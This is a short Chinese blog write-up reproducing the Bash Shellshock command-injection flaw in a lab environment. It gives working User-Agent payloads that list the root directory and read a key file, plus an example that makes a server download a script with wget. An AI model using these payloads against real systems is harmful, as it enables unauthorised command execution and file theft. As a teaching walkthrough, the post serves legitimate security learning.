zoukankan      html  css  js  c++  java
  • 漏洞复现——bash远程解析命令执行漏洞

    漏洞描述:Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令,在一些cgi脚本中,数据是通过环境变量来传递的,这样就会形成该漏洞

    漏洞原理:bash通过以函数名作为环境变量名,以“(){”(bash只有在遇到特殊的环境变量才会触发该漏洞)开头的字串作为环境变量的值来将函数定义导出为环境变量。而该漏洞就在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。 比如:(){:;};wget http://127.0.0.1/test.sh 服务器在处理这个请求的时候,会执行wget命令,就会把这个test.sh下载下来

    漏洞攻击:抓包修改user-agent内容

    漏洞防御:升级版本:

    示例:在一个靶场复现该漏洞

    第一种方法:

    这是一个存在该漏洞的网站,我们需要去找一下有cgi的页面,如下图:

    抓包,将User-Agent的改成  () { :;}; echo; /bin/ls /

    "/bin/ls /"是调用ls查看所有文件

     查看key.txt:() { :;}; echo; /bin/cat /key.txt,成功得到key

  • 相关阅读:
    jQuery标准的AJAX模板
    maven库
    在 Windows7 上按照 MySQL5.7
    如何保证代码的有效性
    项目负责人的职责
    string integer == equals 转
    走近AbstractQueuedSynchronizer
    STAR
    tesseract-ocr
    Spring @Qualifier l转
  • 原文地址:https://www.cnblogs.com/xiaoqiyue/p/10006992.html
Copyright © 2011-2022 走看看